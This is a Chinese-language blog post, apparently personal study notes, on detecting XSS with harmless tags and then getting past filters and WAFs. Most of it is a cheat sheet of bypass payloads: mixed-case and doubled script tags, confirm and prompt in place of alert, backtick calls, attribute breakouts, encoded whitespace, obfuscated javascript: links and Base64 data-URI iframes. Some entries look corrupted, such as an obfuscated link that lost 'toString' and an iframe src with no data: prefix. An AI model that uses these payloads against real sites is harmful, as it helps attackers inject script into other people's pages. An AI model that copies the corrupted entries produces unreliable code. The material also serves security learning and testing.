XSS的应用
免责声明,本博客只是用来自身学习记录,不要运用里面的代码去进行违法犯罪行为。
XSS
首先需要知道的是xss误区,就是在不确定是否有XSS的情况下,不应该是直接上攻击payload,例如<script>alert(123)</script>
,而是应该去进行一个XSS探测先确认有无XSS。
以下三种情况就是可能你直接一个payload过去毫无反应,但是你根本确定不了是否存在XSS
1.waf直接给你拦截了,你payload根本打不进去。
2.对方后端就过滤死了不让你使用</script>这种明显的标签。
3.对方压根就不允许弹框。
引用借鉴up主的关键句:XSS本质
XSS的本质原理就是解析了用户插入的标签,那么既然是解析标签,就可以插入没有攻击危害的标签进行先探测XSS。
如果解析标签成功,确认存在XSS,你再一步一步绕过那“三个大麻烦’,去搞攻击型payload看看是否存在XSS漏洞
下面都是无危害探测标签,基本不会触发任何WAF
<s>123
<h1>123</h1>
<p>123</p>
</tExtArEa><h1>123</h1>#
</tExtArEa><s>123#//--+
*"></tExtArEa><s>123#//--+
学习网站 XSS学习靶场
上面讲述了XSS的本质,就是看是否有网站解析,那网站解析结果就可以弹出来是否存在XSS,这个具体要看响应包,附以下截图
通过上面操作可以跳过waf,接下来说XSS的绕过手段
XSS绕过
一、XSS基础绕过
- 大小写绕过
<Script>alert(1)</Script>
- 双写绕过
<script<script>>alert(1)</sc</script>ript>
- 禁用alert绕过
<img src="1" onerror="confirm('xss')"> (双引号可加可不加)
<script>confirm(1)</script>
<script>prompt(1)</script>
- 禁用单引号
数字可以不加单引号
<script>confirm(`xss`)</script>
<script>confirm(/xss/)</script>
- 过滤括号()
可以使用反单引号代替 `
<script>alert`1`</script>
- 禁用尖括号<>,只考虑在value属性里面
也就是闭合value属性,加入触发事件
payload-hello' onmouseover='javascript:alert(1)'
- 空格的代替
空格的url编码为:%20
可替换成如下:
%09 %80a %8Ob %80c %Od %a0 /
- 单引号的代替
可以将单引号’换成飘号`
二、XSS混淆绕过
以下是比较好用的几个标签
</tExtArEa>'"<a/href="ja%26Tab;vas%26Tab;cript%26Tab;%26Tab;
%26Tab;:%26Tab;%26Tab;top%26Tab;[8680439..(30)]()">click_me</a>#
<div class=\"media-wrap image-wrap\"><img
src=\"https://img.threatbook.cn/c375eed802260503b4cee1086ea6
5f0e172480015227cf81a82d77.png\"
onerror=\"alert`1`\"/></div>
<script%20type="text/javascript">%20var%20reg%20=%20/test/;%
20var%20str%20=%20%27testString%27;%20var%20result%20=%20reg
.exec(str);%20alert(result);%20</script>
三、XSS编码加密绕过
套一层Base64
<iframe
src="data:text/html;base64,PFNDcmlwdD5hbGVydCgxKTwvU0NyaXB0Pg=="></iframe>
套两层Base64
<iframe
src="PG9iamVjdCBkYXRhPQ0KZGF0YTp0ZXh0L2h0bWw7YmFzZTY0LCBQSE5qY21sd2RENWhiR1Z5ZENnbmVITnpKeWs4TDNOamNtbHdkRDQ9Pjwvb2JqZWN0Pg=="></iframe>